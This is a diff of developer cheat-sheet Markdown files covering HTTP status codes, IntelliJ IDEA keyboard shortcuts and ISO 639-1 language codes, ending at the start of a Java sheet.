||||
<meta name="geo.region" content="ca-on">
|
||||
<meta name="geo.placename" content="Ottawa">
|
||||
```
|
||||
See: [Geotagging](https://en.wikipedia.org/wiki/Geotagging#HTML_pages)
|
||||
|
||||
|
||||
|
||||
Also see
|
||||
--------
|
||||
|
||||
- [HTML 4.01 Specification](https://www.w3.org/TR/REC-html40/cover.html#minitoc) _(w3.org)_
|
||||
@@ -0,0 +1,95 @@
|
||||
---
|
||||
title: HTTP Status Code
|
||||
icon: icon-style
|
||||
background: bg-[#3b7dc0]
|
||||
date: 2020-12-26 16:09:09
|
||||
tags:
|
||||
- response
|
||||
- server
|
||||
categories:
|
||||
- Other
|
||||
intro: |
|
||||
The http status codes cheat sheet. a quick reference to every HTTP status code.
|
||||
plugins:
|
||||
- tooltip
|
||||
---
|
||||
|
||||
HTTP Status code {.cols-3}
|
||||
-----------
|
||||
|
||||
|
||||
### Means
|
||||
|
||||
- [1xx: Informational](#1xx-information){data-tooltip="It means the request has been received and the process is continuing."}
|
||||
- [2xx: Success](#2xx-successful){data-tooltip="It means the action was successfully received, understood, and accepted."}
|
||||
- [3xx: Redirection](#3xx-redirection){data-tooltip="It means further action must be taken in order to complete the request."}
|
||||
- [4xx: Client Error](#4xx-client-error){data-tooltip="It means the request contains incorrect syntax or cannot be fulfilled."}
|
||||
- [5xx: Server Error](#5xx-server-error){data-tooltip="It means the server failed to fulfill an apparently valid request."}
|
||||
|
||||
|
||||
|
||||
### 2xx. Successful {.row-span-2}
|
||||
* [200: OK](https://tools.ietf.org/html/rfc7231#section-6.3.1){data-tooltip="The request is OK."}
|
||||
* [201: Created](https://tools.ietf.org/html/rfc7231#section-6.3.2){data-tooltip="The request is complete, and a new resource is created ."}
|
||||
* [202: Accepted](https://tools.ietf.org/html/rfc7231#section-6.3.3){data-tooltip="The request is accepted for processing, but the processing is not complete."}
|
||||
* [203: Non-Authoritative Information](https://tools.ietf.org/html/rfc7231#section-6.3.4){data-tooltip="The information in the entity header is from a local or third-party copy, not from the original server."}
|
||||
* [204: No Content](https://tools.ietf.org/html/rfc7231#section-6.3.5){data-tooltip="A status code and a header are given in the response, but there is no entity-body in the reply."}
|
||||
* [205: Reset Content](https://tools.ietf.org/html/rfc7231#section-6.3.6){data-tooltip="The browser should clear the form used for this transaction for additional input."}
|
||||
* [206: Partial Content](https://tools.ietf.org/html/rfc7233#section-4.1){data-tooltip="The server is returning partial data of the size requested. Used in response to a request specifying a Range header. The server must specify the range included in the response with the Content-Range header."}
|
||||
|
||||
|
||||
|
||||
|
||||
### 4xx. Client Error {.row-span-3}
|
||||
* [400: Bad Request](https://tools.ietf.org/html/rfc7231#section-6.5.1){data-tooltip="The server did not understand the request."}
|
||||
* [401: Unauthorized](https://tools.ietf.org/html/rfc7235#section-3.1){data-tooltip="The requested page needs a username and a password."}
|
||||
* [402: Payment Required](https://tools.ietf.org/html/rfc7231#section-6.5.2){data-tooltip="You can not use this code yet."}
|
||||
* [403: Forbidden](https://tools.ietf.org/html/rfc7231#section-6.5.3){data-tooltip="Access is forbidden to the requested page."}
|
||||
* [404: Not Found](https://tools.ietf.org/html/rfc7231#section-6.5.4){data-tooltip="The server can not find the requested page."}
|
||||
* [405: Method Not Allowed](https://tools.ietf.org/html/rfc7231#section-6.5.5){data-tooltip="The method specified in the request is not allowed."}
|
||||
* [406: Not Acceptable](https://tools.ietf.org/html/rfc7231#section-6.5.6){data-tooltip="The server can only generate a response that is not accepted by the client."}
|
||||
* [407: Proxy Authentication Required](https://tools.ietf.org/html/rfc7235#section-3.2){data-tooltip="You must authenticate with a proxy server before this request can be served."}
|
||||
* [408: Request Timeout](https://tools.ietf.org/html/rfc7231#section-6.5.7){data-tooltip="The request took longer than the server was prepared to wait."}
|
||||
* [409: Conflict](https://tools.ietf.org/html/rfc7231#section-6.5.8){data-tooltip="The request could not be completed because of a conflict."}
|
||||
* [410: Gone](https://tools.ietf.org/html/rfc7231#section-6.5.9){data-tooltip="The requested page is no longer available ."}
|
||||
* [411: Length Required](https://tools.ietf.org/html/rfc7231#section-6.5.10){data-tooltip="The "Content-Length" is not defined. The server will not accept the request without it ."}
|
||||
* [412: Precondition Failed](https://tools.ietf.org/html/rfc7232#section-4.2){data-tooltip="The pre condition given in the request evaluated to false by the server."}
|
||||
* [413: Payload Too Large](https://tools.ietf.org/html/rfc7231#section-6.5.11){data-tooltip="The server will not accept the request, because the request entity is too large."}
|
||||
* [414: URI Too Long](https://tools.ietf.org/html/rfc7231#section-6.5.12){data-tooltip="The server will not accept the request, because the url is too long. Occurs when you convert a "post" request to a "get" request with a long query information ."}
|
||||
* [415: Unsupported Media Type](https://tools.ietf.org/html/rfc7231#section-6.5.13){data-tooltip="The server will not accept the request, because the mediatype is not supported ."}
|
||||
* [416: Range Not Satisfiable](https://tools.ietf.org/html/rfc7233#section-4.4){data-tooltip="The requested byte range is not available and is out of bounds."}
|
||||
* [417: Expectation Failed](https://tools.ietf.org/html/rfc7231#section-6.5.14){data-tooltip="The expectation given in an Expect request-header field could not be met by this server."}
|
||||
* [426: Upgrade Required](https://tools.ietf.org/html/rfc7231#section-6.5.15){data-tooltip="The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol."}
|
||||
* [451: Unavailable For Legal Reasons](https://datatracker.ietf.org/doc/html/rfc7725#section-3){data-tooltip="This status code indicates that the server is denying access to the resource as a consequence of a legal demand."}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### 1xx. Information
|
||||
* [100: Continue](https://tools.ietf.org/html/rfc7231#section-6.2.1){data-tooltip="Only a part of the request has been received by the server, but as long as it has not been rejected, the client should continue with the request."}
|
||||
* [101: Switching Protocols](https://tools.ietf.org/html/rfc7231#section-6.2.2){data-tooltip="The server switches protocol."}
|
||||
* [102: Processing](https://tools.ietf.org/html/rfc2518#section-10.1){data-tooltip="An interim response used to inform the client that the server has accepted the complete request, but has not yet completed it."}
|
||||
|
||||
|
||||
|
||||
|
||||
### 3xx. Redirection
|
||||
* [300: Multiple Choices](https://tools.ietf.org/html/rfc7231#section-6.4.1){data-tooltip="A link list. The user can select a link and go to that location. Maximum five addresses ."}
|
||||
* [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2){data-tooltip="The requested page has moved to a new url ."}
|
||||
* [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3){data-tooltip="The requested page has moved temporarily to a new url ."}
|
||||
* [303: See Other](https://tools.ietf.org/html/rfc7231#section-6.4.4){data-tooltip="The requested page can be found under a different url ."}
|
||||
* [304: Not Modified](https://tools.ietf.org/html/rfc7232#section-4.1){data-tooltip="This is the response code to an If-Modified-Since or If-None-Match header, where the URL has not been modified since the specified date."}
|
||||
* [305: Use Proxy](https://tools.ietf.org/html/rfc7231#section-6.4.5){data-tooltip="The requested URL must be accessed through the proxy mentioned in the Location header."}
|
||||
* [306: Unused](https://tools.ietf.org/html/rfc7231#section-6.4.6){data-tooltip="This code was used in a previous version. It is no longer used, but the code is reserved."}
|
||||
* [307: Temporary Redirect](https://tools.ietf.org/html/rfc7231#section-6.4.7){data-tooltip="The requested page has moved temporarily to a new url."}
|
||||
|
||||
|
||||
### 5xx. Server Error
|
||||
* [500: Internal Server Error](https://tools.ietf.org/html/rfc7231#section-6.6.1){data-tooltip="The request was not completed. The server met an unexpected condition."}
|
||||
* [501: Not Implemented](https://tools.ietf.org/html/rfc7231#section-6.6.2){data-tooltip="The request was not completed. The server did not support the functionality required."}
|
||||
* [502: Bad Gateway](https://tools.ietf.org/html/rfc7231#section-6.6.3){data-tooltip="The request was not completed. The server received an invalid response from the upstream server."}
|
||||
* [503: Service Unavailable](https://tools.ietf.org/html/rfc7231#section-6.6.4){data-tooltip="The request was not completed. The server is temporarily overloading or down."}
|
||||
* [504: Gateway Timeout](https://tools.ietf.org/html/rfc7231#section-6.6.5){data-tooltip="The gateway has timed out."}
|
||||
* [505: HTTP Version Not Supported](https://tools.ietf.org/html/rfc7231#section-6.6.6){data-tooltip="The server does not support the "http protocol" version."}
|
||||
|
||||
@@ -0,0 +1,215 @@
|
||||
---
|
||||
title: IntelliJ IDEA
|
||||
date: 2020-12-17 21:51:44
|
||||
icon: icon-idea
|
||||
background: bg-gradient-to-r from-pink-500 via-violet-400 to-blue-400 hover:from-pink-700 hover:via-violet-600 hover:to-blue-500
|
||||
tags:
|
||||
- jetbrains
|
||||
- java
|
||||
- shortcut
|
||||
categories:
|
||||
- IDE
|
||||
intro: |
|
||||
IntelliJ IDEA is a very good Java IDE, most of its commands have shortcuts to keep your hands from leaving the keyboard
|
||||
---
|
||||
|
||||
|
||||
|
||||
IDEA Windows & Linux Keymap {.cols-3}
|
||||
--------
|
||||
|
||||
|
||||
### Editing {.row-span-5}
|
||||
|
||||
| shortcut | description |
|
||||
|----|---------|
|
||||
`Ctrl` `Space`| Basic code completion
|
||||
`Ctrl` `Shift` `Space`| Smart code completion
|
||||
`Ctrl` `Shift` `Enter`| Complete statement
|
||||
`Ctrl` `P`| Parameter info
|
||||
`Ctrl` `Q`| Quick documentation lookup
|
||||
`Shift` `F1`| External Doc
|
||||
`Ctrl` `hover`| Brief Info
|
||||
`Ctrl` `F1`| Error or warning at caret
|
||||
`Alt` `Insert`| Generate code
|
||||
`Ctrl` `O`| Override methods
|
||||
`Ctrl` `I`| Implement methods
|
||||
`Ctrl` `Alt` `T`| Surround with
|
||||
`Ctrl` `/`| Comment or uncomment line
|
||||
`Ctrl` `Shift` `/`| Comment or uncomment block
|
||||
`Ctrl` `W`| Select successively increasing code blocks
|
||||
`Ctrl` `Shift` `W`| Decrease current selection to previous state
|
||||
`Alt` `Q`| Context info
|
||||
`Alt` `Enter`| Show intention actions and quick-fixes
|
||||
`Ctrl` `Alt` `L`| Reformat code
|
||||
`Ctrl` `Alt` `O`| Optimize imports
|
||||
`Ctrl` `Alt` `I`| Auto-indent line(s)
|
||||
`Tab`| Indent selected lines
|
||||
`Shift` `Tab`| Unindent selected lines
|
||||
`Ctrl` `X`| Cut current line or selected block to clipboard
|
||||
`Ctrl` `C`| Copy current line or selected block to clipboard
|
||||
`Ctrl` `V`| Paste from clipboard
|
||||
`Ctrl` `Shift` `V`| Paste from recent buffers
|
||||
`Ctrl` `D`| Duplicate current line or selected block
|
||||
`Ctrl` `Y`| Delete line at caret
|
||||
`Ctrl` `Shift` `J`| Smart line join
|
||||
`Ctrl` `Enter`| Smart line split
|
||||
`Shift` `Enter`| Start new line
|
||||
`Ctrl` `Shift` `U`| Toggle case for word at caret or selected block
|
||||
`Ctrl` `Shift` `]` _/_ `[`| Select till code block end/start
|
||||
`Ctrl` `Backspace`| Delete to word end/start
|
||||
`Ctrl` `+` _/_ `-`| Expand/collapse code block
|
||||
`Ctrl` `Shift` `+`| Expand all
|
||||
`Ctrl` `Shift` `-`| Collapse all
|
||||
`Ctrl` `F4`| Close active editor tab
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### Usage Search
|
||||
|
||||
| shortcut | description |
|
||||
|----|---------|
|
||||
`Alt` `F7` _/_ `Ctrl` `F7`| Find usages/Find usages in file
|
||||
`Ctrl` `Shift` `F7`| Highlight usages in file
|
||||
`Ctrl` `Alt` `F7`| Show usages
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### Navigation {.row-span-4}
|
||||
|
||||
| shortcut | description |
|
||||
|----|---------|
|
||||
`Ctrl` `N`| Go to class
|
||||
`Ctrl` `Shift` `N`| Go to file
|
||||
`Ctrl` `Alt` `Shift` `N`| Go to symbol
|
||||
`Alt` `Right` _/_ `Left`| Go to next / previous editor tab
|
||||
`F12`| Go back to previous tool window
|
||||
`Esc`| Go to editor
|
||||
`Shift` `Esc`| Hide active or last active window
|
||||
`Ctrl` `Shift` `F4`| Close active run, messages...
|
||||
`Ctrl` `G`| Go to line
|
||||
`Ctrl` `E`| Recent files popup
|
||||
`Ctrl` `Alt` `Left` _/_ `Right`| Navigate back / forward
|
||||
`Ctrl` `Shift` `Backspace`| Navigate to last edit location
|
||||
`Alt` `F1`| Select current file or symbol in any view
|
||||
`Ctrl` `B` _/_ `Ctrl` `Click`| Go to declaration
|
||||
`Ctrl` `Alt` `B`| Go to implementation(s)
|
||||
`Ctrl` `Shift` `I`| Open quick definition lookup
|
||||
`Ctrl` `Shift` `B`| Go to type declaration
|
||||
`Ctrl` `U`| Go to super-method / super-class
|
||||
`Alt` `Up` _/_ `Down`| Go to previous / next method
|
||||
`Ctrl` `]/[`| Move to code block end/start
|
||||
`Ctrl` `F12`| File structure popup
|
||||
`Ctrl` `H`| Type hierarchy
|
||||
`Ctrl` `Shift` `H`| Method hierarchy
|
||||
`Ctrl` `Alt` `H`| Call hierarchy
|
||||
`F2` _/_ `Shift` `F2`| Next/previous highlighted error
|
||||
`F4` _/_ `Ctrl` `Enter`| Edit source / View source
|
||||
`Alt` `Home`| Show navigation bar
|
||||
`F11`| Toggle bookmark
|
||||
`Ctrl` `F11`| Toggle bookmark with mnemonic
|
||||
`Ctrl` `0...9`| Go to numbered bookmark
|
||||
`Shift` `F11`| Show bookmarks
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### Search/Replace
|
||||
|
||||
| shortcut | description |
|
||||
|----|---------|
|
||||
`Double Shift`| Search everywhere
|
||||
`Ctrl` `F`| Find
|
||||
`F3` `Shift` `F3`| Find next / Find previous
|
||||
`Ctrl` `R`| Replace
|
||||
`Ctrl` `Shift` `F`| Find in path
|
||||
`Ctrl` `Shift` `R`| Replace in path
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### Live Templates
|
||||
|
||||
| shortcut | description |
|
||||
|----|---------|
|
||||
`Ctrl` `Alt` `J`| Surround with Live Template
|
||||
`Ctrl` `J`| Insert Live Template
|
||||
`iter`| Iteration according to Java SDK 1.5 style
|
||||
`inst`| Check object type with instanceof and downcast it
|
||||
`itco`| Iterate elements of java.util.Collection
|
||||
`itit`| Iterate elements of java.util.Iterator
|
||||
`itli`| Iterate elements of java.util.List
|
||||
`psf`| public static final
|
||||
`thr`| throw new
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### Refactoring
|
||||
|
||||
| shortcut | description |
|
||||
|----|---------|
|
||||
`F5`| Copy
|
||||
`F6`| Move
|
||||
`Alt` `Delete`| Safe Delete
|
||||
`Shift` `F6`| Rename
|
||||
`Ctrl` `F6`| Change Signature
|
||||
`Ctrl` `Alt` `N`| Inline
|
||||
`Ctrl` `Alt` `M`| Extract Method
|
||||
`Ctrl` `Alt` `V`| Extract Variable
|
||||
`Ctrl` `Alt` `F`| Extract Field
|
||||
`Ctrl` `Alt` `C`| Extract Constant
|
||||
`Ctrl` `Alt` `P`| Extract Parameter
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### Debugging
|
||||
|
||||
| shortcut | description |
|
||||
|----|---------|
|
||||
`F8/F7`| Step over/Step into
|
||||
`Shift` `F7` _/_ `Shift` `F8`| Smart step into/Step out
|
||||
`Alt` `F9`| Run to cursor
|
||||
`Alt` `F8`| Evaluate expression
|
||||
`F9`| Resume program
|
||||
`Ctrl` `F8`| Toggle breakpoint
|
||||
`Ctrl` `Shift` `F8`| View breakpoints
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### Compile and Run
|
||||
|
||||
| shortcut | description |
|
||||
|----|---------|
|
||||
`Ctrl` `F9`| Make project
|
||||
`Ctrl` `Shift` `F9`| Compile selected file, package or module
|
||||
`Alt` `Shift` `F10` _/_ `F9`| Select configuration and run/and debug
|
||||
`Shift` `F10` _/_ `F9`| Run/Debug
|
||||
`Ctrl` `Shift` `F10`| Run context configuration from editor
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### VCS/Local History
|
||||
|
||||
| shortcut | description |
|
||||
|----|---------|
|
||||
`Ctrl` `K`| Commit project to VCS
|
||||
`Ctrl` `T`| Update from VCS
|
||||
`Alt` `Shift` `C`| View recent changes
|
||||
`Alt` <kbd>\`</kbd> | VCS Operations Popup
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### General
|
||||
|
||||
| shortcut | description |
|
||||
|----|---------|
|
||||
`Alt` `0...9`| Open corresponding tool window
|
||||
`Ctrl` `S`| Save all
|
||||
`Ctrl` `Alt` `Y`| Synchronize
|
||||
`Ctrl` `Shift` `F12`| Toggle maximizing editor
|
||||
`Alt` `Shift` `F`| Add to Favorites
|
||||
`Alt` `Shift` `I`| Inspect current file
|
||||
`Ctrl` <kbd>\`</kbd>| Quick switch current scheme
|
||||
`Ctrl` `Alt` `S`| Open Settings dialog
|
||||
`Ctrl` `Alt` `Shift` `S`| Open Project Structure dialog
|
||||
`Ctrl` `Shift` `A`| Find Action
|
||||
`Ctrl` `Tab`| Switch between tool and tabs
|
||||
{.shortcuts}
|
||||
@@ -0,0 +1,244 @@
|
||||
---
|
||||
title: ISO 639-1 Language Code
|
||||
date: 2022-01-11 17:21:54
|
||||
tags:
|
||||
- code
|
||||
- i18n
|
||||
- language
|
||||
categories:
|
||||
- Other
|
||||
intro: |
|
||||
This is a list of the ISO language codes that conform to the ISO 639-1 standard, it provide reference for multi-language website.
|
||||
---
|
||||
|
||||
Getting Started {.cols-2}
|
||||
---------------
|
||||
|
||||
### Introduction
|
||||
- The [ISO 639-1](https://en.wikipedia.org/wiki/ISO_639-1) is a standardized nomenclature used to classify languages
|
||||
- The ISO 639-1 codes cover the world's major languages
|
||||
- These codes are a useful international and formal shorthand for indicating languages
|
||||
- Two-letter codes
|
||||
- Used to multilingual websites, aka Internationalization (`i18n`)
|
||||
- [i18n](https://en.wikipedia.org/wiki/Internationalization_and_localization) language codes
|
||||
{.style-round}
|
||||
|
||||
### Multi-format of 639-1 codes
|
||||
|
||||
- [Markdown Table](https://tableconvert.com/html-to-markdown?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [Template](https://tableconvert.com/html-to-template?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [LaTeX Table](https://tableconvert.com/html-to-latex?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [CSV](https://tableconvert.com/html-to-csv?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [Excel](https://tableconvert.com/html-to-excel?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [JSON Array](https://tableconvert.com/html-to-json?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [HTML Table](https://tableconvert.com/html-to-html?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [Insert SQL](https://tableconvert.com/html-to-sql?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [YAML Sequence](https://tableconvert.com/html-to-yaml?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [XML](https://tableconvert.com/html-to-xml?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [ASCII](https://tableconvert.com/html-to-ascii?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [MediaWiki Table](https://tableconvert.com/html-to-mediawiki?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [AsciiDoc Table](https://tableconvert.com/html-to-asciidoc?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [Jira Table](https://tableconvert.com/html-to-jira?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [Textile Table](https://tableconvert.com/html-to-textile?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [reStructuredText](https://tableconvert.com/html-to-restructuredtext?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [PHP Array](https://tableconvert.com/html-to-php?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [Ruby Array](https://tableconvert.com/html-to-ruby?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [ASP Array](https://tableconvert.com/html-to-asp?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [ActionScript](https://tableconvert.com/html-to-actionscript?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [BBCode](https://tableconvert.com/html-to-bbcode?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [PDF](https://tableconvert.com/html-to-pdf?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
- [JPEG](https://tableconvert.com/html-to-jpeg?data=https://quickref.me/iso-639-1#TableGenerator)
|
||||
{.cols-4 .style-none}
|
||||
|
||||
List of ISO 639-1 codes
|
||||
-----------
|
||||
|
||||
### Full codes
|
||||
|
||||
| 639-1 code | ISO language name | Native name (endonym) |
|
||||
|------------|---------------------|-----------------------|
|
||||
| `aa` | Afar | Afaraf |
|
||||
| `ab` | Abkhaz | аҧсуа бызшәа |
|
||||
| `ae` | Avestan | avesta |
|
||||
| `af` | Afrikaans | Afrikaans |
|
||||
| `ak` | Akan | Akan |
|
||||
| `am` | Amharic | አማርኛ |
|
||||
| `an` | Aragonese | aragonés |
|
||||
| `ar` | Arabic | اللغة العربية |
|
||||
| `as` | Assamese | অসমীয়া |
|
||||
| `av` | Avaric | авар мацӀ |
|
||||
| `ay` | Aymara | aymar aru |
|
||||
| `az` | Azerbaijani | azərbaycan dili |
|
||||
| `ba` | Bashkir | башҡорт теле |
|
||||
| `be` | Belarusian | беларуская мова |
|
||||
| `bg` | Bulgarian | български език |
|
||||
| `bh` | Bihari | भोजपुरी |
|
||||
| `bi` | Bislama | Bislama |
|
||||
| `bm` | Bambara | bamanankan |
|
||||
| `bn` | Bengali | বাংলা |
|
||||
| `bo` | Tibetan | བོད་ཡིག |
|
||||
| `br` | Breton | brezhoneg |
|
||||
| `bs` | Bosnian | bosanski jezik |
|
||||
| `ca` | Catalan | Català |
|
||||
| `ce` | Chechen | нохчийн мотт |
|
||||
| `ch` | Chamorro | Chamoru |
|
||||
| `co` | Corsican | corsu |
|
||||
| `cr` | Cree | ᓀᐦᐃᔭᐍᐏᐣ |
|
||||
| `cs` | Czech | čeština |
|
||||
| `cu` | Old Church Slavonic | ѩзыкъ словѣньскъ |
|
||||
| `cv` | Chuvash | чӑваш чӗлхи |
|
||||
| `cy` | Welsh | Cymraeg |
|
||||
| `da` | Danish | dansk |
|
||||
| `de` | German | Deutsch |
|
||||
| `dv` | Divehi | Dhivehi |
|
||||
| `dz` | Dzongkha | རྫོང་ཁ |
|
||||
| `ee` | Ewe | Eʋegbe |
|
||||
| `el` | Greek | Ελληνικά |
|
||||
| `en` | English | English |
|
||||
| `eo` | Esperanto | Esperanto |
|
||||
| `es` | Spanish | Español |
|
||||
| `et` | Estonian | eesti |
|
||||
| `eu` | Basque | euskara |
|
||||
| `fa` | Persian | فارسی |
|
||||
| `ff` | Fula | Fulfulde |
|
||||
| `fi` | Finnish | suomi |
|
||||
| `fj` | Fijian | Vakaviti |
|
||||
| `fo` | Faroese | føroyskt |
|
||||
| `fr` | French | Français |
|
||||
| `fy` | Western Frisian | Frysk |
|
||||
| `ga` | Irish | Gaeilge |
|
||||
| `gd` | Scottish Gaelic | Gàidhlig |
|
||||
| `gl` | Galician | galego |
|
||||
| `gu` | Gujarati | ગુજરાતી |
|
||||
| `gv` | Manx | Gaelg |
|
||||
| `ha` | Hausa | هَوُسَ |
|
||||
| `he` | Hebrew | עברית |
|
||||
| `hi` | Hindi | हिन्दी |
|
||||
| `ho` | Hiri Motu | Hiri Motu |
|
||||
| `hr` | Croatian | Hrvatski |
|
||||
| `ht` | Haitian | Kreyòl ayisyen |
|
||||
| `hu` | Hungarian | magyar |
|
||||
| `hy` | Armenian | Հայերեն |
|
||||
| `hz` | Herero | Otjiherero |
|
||||
| `ia` | Interlingua | Interlingua |
|
||||
| `id` | Indonesian | Bahasa Indonesia |
|
||||
| `ie` | Interlingue | Interlingue |
|
||||
| `ig` | Igbo | Asụsụ Igbo |
|
||||
| `ii` | Nuosu | ꆈꌠ꒿ Nuosuhxop |
|
||||
| `ik` | Inupiaq | Iñupiaq |
|
||||
| `io` | Ido | Ido |
|
||||
| `is` | Icelandic | Íslenska |
|
||||
| `it` | Italian | Italiano |
|
||||
| `iu` | Inuktitut | ᐃᓄᒃᑎᑐᑦ |
|
||||
| `ja` | Japanese | 日本語 |
|
||||
| `jv` | Javanese | basa Jawa |
|
||||
| `ka` | Georgian | ქართული |
|
||||
| `kg` | Kongo | Kikongo |
|
||||
| `ki` | Kikuyu | Gĩkũyũ |
|
||||
| `kj` | Kwanyama | Kuanyama |
|
||||
| `kk` | Kazakh | қазақ тілі |
|
||||
| `kl` | Kalaallisut | kalaallisut |
|
||||
| `km` | Khmer | ខេមរភាសា |
|
||||
| `kn` | Kannada | ಕನ್ನಡ |
|
||||
| `ko` | Korean | 한국어 |
|
||||
| `kr` | Kanuri | Kanuri |
|
||||
| `ks` | Kashmiri | कश्मीरी |
|
||||
| `ku` | Kurdish | Kurdî |
|
||||
| `kv` | Komi | коми кыв |
|
||||
| `kw` | Cornish | Kernewek |
|
||||
| `ky` | Kyrgyz | Кыргызча |
|
||||
| `la` | Latin | latine |
|
||||
| `lb` | Luxembourgish | Lëtzebuergesch |
|
||||
| `lg` | Ganda | Luganda |
|
||||
| `li` | Limburgish | Limburgs |
|
||||
| `ln` | Lingala | Lingála |
|
||||
| `lo` | Lao | ພາສາ |
|
||||
| `lt` | Lithuanian | lietuvių kalba |
|
||||
| `lu` | Luba-Katanga | Tshiluba |
|
||||
| `lv` | Latvian | latviešu valoda |
|
||||
| `mg` | Malagasy | fiteny malagasy |
|
||||
| `mh` | Marshallese | Kajin M̧ajeļ |
|
||||
| `mi` | Māori | te reo Māori |
|
||||
| `mk` | Macedonian | македонски јазик |
|
||||
| `ml` | Malayalam | മലയാളം |
|
||||
| `mn` | Mongolian | Монгол хэл |
|
||||
| `mr` | Marathi | मराठी |
|
||||
| `ms` | Malay | Bahasa Malaysia |
|
||||
| `mt` | Maltese | Malti |
|
||||
| `my` | Burmese | ဗမာစာ |
|
||||
| `na` | Nauru | Ekakairũ Naoero |
|
||||
| `nb` | Norwegian Bokmål | Norsk bokmål |
|
||||
| `nd` | Northern Ndebele | isiNdebele |
|
||||
| `ne` | Nepali | नेपाली |
|
||||
| `ng` | Ndonga | Owambo |
|
||||
| `nl` | Dutch | Nederlands |
|
||||
| `nn` | Norwegian Nynorsk | Norsk nynorsk |
|
||||
| `no` | Norwegian | Norsk |
|
||||
| `nr` | Southern Ndebele | isiNdebele |
|
||||
| `nv` | Navajo | Diné bizaad |
|
||||
| `ny` | Chichewa | chiCheŵa |
|
||||
| `oc` | Occitan | occitan |
|
||||
| `oj` | Ojibwe | ᐊᓂᔑᓈᐯᒧᐎᓐ |
|
||||
| `om` | Oromo | Afaan Oromoo |
|
||||
| `or` | Oriya | ଓଡ଼ିଆ |
|
||||
| `os` | Ossetian | ирон æвзаг |
|
||||
| `pa` | Panjabi | ਪੰਜਾਬੀ |
|
||||
| `pi` | Pāli | पाऴि |
|
||||
| `pl` | Polish | Polski |
|
||||
| `ps` | Pashto | پښتو |
|
||||
| `pt` | Portuguese | Português |
|
||||
| `qu` | Quechua | Runa Simi |
|
||||
| `rm` | Romansh | rumantsch grischun |
|
||||
| `rn` | Kirundi | Ikirundi |
|
||||
| `ro` | Romanian | Română |
|
||||
| `ru` | Russian | Русский |
|
||||
| `rw` | Kinyarwanda | Ikinyarwanda |
|
||||
| `sa` | Sanskrit | संस्कृतम् |
|
||||
| `sc` | Sardinian | sardu |
|
||||
| `sd` | Sindhi | सिन्धी |
|
||||
| `se` | Northern Sami | Davvisámegiella |
|
||||
| `sg` | Sango | yângâ tî sängö |
|
||||
| `si` | Sinhala | සිංහල |
|
||||
| `sk` | Slovak | slovenčina |
|
||||
| `sl` | Slovenian | slovenščina |
|
||||
| `sn` | Shona | chiShona |
|
||||
| `so` | Somali | Soomaaliga |
|
||||
| `sq` | Albanian | Shqip |
|
||||
| `sr` | Serbian | српски језик |
|
||||
| `ss` | Swati | SiSwati |
|
||||
| `st` | Southern Sotho | Sesotho |
|
||||
| `su` | Sundanese | Basa Sunda |
|
||||
| `sv` | Swedish | Svenska |
|
||||
| `sw` | Swahili | Kiswahili |
|
||||
| `ta` | Tamil | தமிழ் |
|
||||
| `te` | Telugu | తెలుగు |
|
||||
| `tg` | Tajik | тоҷикӣ |
|
||||
| `th` | Thai | ไทย |
|
||||
| `ti` | Tigrinya | ትግርኛ |
|
||||
| `tk` | Turkmen | Türkmen |
|
||||
| `tl` | Tagalog | Wikang Tagalog |
|
||||
| `tn` | Tswana | Setswana |
|
||||
| `to` | Tonga | faka Tonga |
|
||||
| `tr` | Turkish | Türkçe |
|
||||
| `ts` | Tsonga | Xitsonga |
|
||||
| `tt` | Tatar | татар теле |
|
||||
| `tw` | Twi | Twi |
|
||||
| `ty` | Tahitian | Reo Tahiti |
|
||||
| `ug` | Uyghur | ئۇيغۇرچە |
|
||||
| `uk` | Ukrainian | Українська |
|
||||
| `ur` | Urdu | اردو |
|
||||
| `uz` | Uzbek | Ўзбек |
|
||||
| `ve` | Venda | Tshivenḓa |
|
||||
| `vi` | Vietnamese | Tiếng Việt |
|
||||
| `vo` | Volapük | Volapük |
|
||||
| `wa` | Walloon | walon |
|
||||
| `wo` | Wolof | Wollof |
|
||||
| `xh` | Xhosa | isiXhosa |
|
||||
| `yi` | Yiddish | ייִדיש |
|
||||
| `yo` | Yoruba | Yorùbá |
|
||||
| `za` | Zhuang | Saɯ cueŋƅ |
|
||||
| `zh` | Chinese | 中文 |
|
||||
| `zu` | Zulu | isiZulu |
|
||||
|
||||
{.show-header}
|
||||
|
||||
@@ -0,0 +1,785 @@
|
||||
---
|
||||
title: Java
|
||||
date: 2021-03-10 19:50:01
|
||||
icon: icon-java
|
||||
background: bg-[#d33731]
|
||||
tags:
|
||||
- object-oriented
|
||||
- class
|
||||
categories:
|
||||
- Programming
|
||||
intro: |
|
||||
